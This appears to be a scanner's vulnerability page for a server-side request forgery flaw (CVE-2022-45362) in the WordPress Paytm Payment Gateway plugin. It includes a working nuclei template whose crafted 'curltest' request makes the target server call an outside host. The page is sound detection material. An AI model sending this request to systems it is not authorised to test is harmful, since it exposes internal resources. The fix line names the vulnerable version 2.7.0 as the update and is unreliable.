WordPress Paytm Payment Gateway <=2.7.0 - Server-Side Request Forgery

mediumseverity

6.5CVSS score

42%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

WordPress Paytm Payment Gateway plugin through 2.7.0 contains a server-side request forgery vulnerability. An attacker can cause a website to execute website requests to an arbitrary domain, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

Impact

Unauthenticated attackers can exploit server-side request forgery through the url parameter in the curltest action to make arbitrary HTTP requests from the server, potentially accessing internal network resources and sensitive data.

Fix

Update to the latest version of the WordPress Paytm Payment Gateway plugin (2.7.0) or apply the vendor-supplied patch.

How to confirm it

Send: GET /?paytm_action=curltest&url={{interactsh-url}}
Positive when: contains in interactsh_protocol "http" AND contains "paytm-payments.css" AND status 200

Run it with nuclei: nuclei -id CVE-2022-45362 -u <target>

The full check

id: CVE-2022-45362

info:
  name: WordPress Paytm Payment Gateway <=2.7.0 - Server-Side Request Forgery
  author: theamanrawat
  severity: medium
  description: WordPress Paytm Payment Gateway plugin through 2.7.0 contains a server-side request forgery vulnerability. An attacker can cause a website to execute website requests to an arbitrary domain, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Unauthenticated attackers can exploit server-side request forgery through the url parameter in the curltest action to make arbitrary HTTP requests from the server, potentially accessing internal network resources and sensitive data.
  remediation: |
    Update to the latest version of the WordPress Paytm Payment Gateway plugin (2.7.0) or apply the vendor-supplied patch.
  reference:
    - https://patchstack.com/database/vulnerability/paytm-payments/wordpress-paytm-payment-gateway-plugin-2-7-0-server-side-request-forgery-ssrf-vulnerability
    - https://wordpress.org/plugins/paytm-payments/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-45362
    - https://patchstack.com/database/vulnerability/paytm-payments/wordpress-paytm-payment-gateway-plugin-2-7-0-server-side-request-forgery-ssrf-vulnerability?_s_id=cve
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 6.5
    cve-id: CVE-2022-45362
    cwe-id: CWE-918
    epss-score: 0.41762
    epss-percentile: 0.98699
    cpe: cpe:2.3:a:paytm:payment_gateway:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: paytm
    product: payment_gateway
    framework: wordpress
  tags: cve,cve2022,ssrf,wordpress,wp-plugin,wp,paytm-payments,unauth,oast,paytm,vuln,vkev

http:
  - raw:
      - |
        GET /?paytm_action=curltest&url={{interactsh-url}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: body
        words:
          - "paytm-payments.css"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from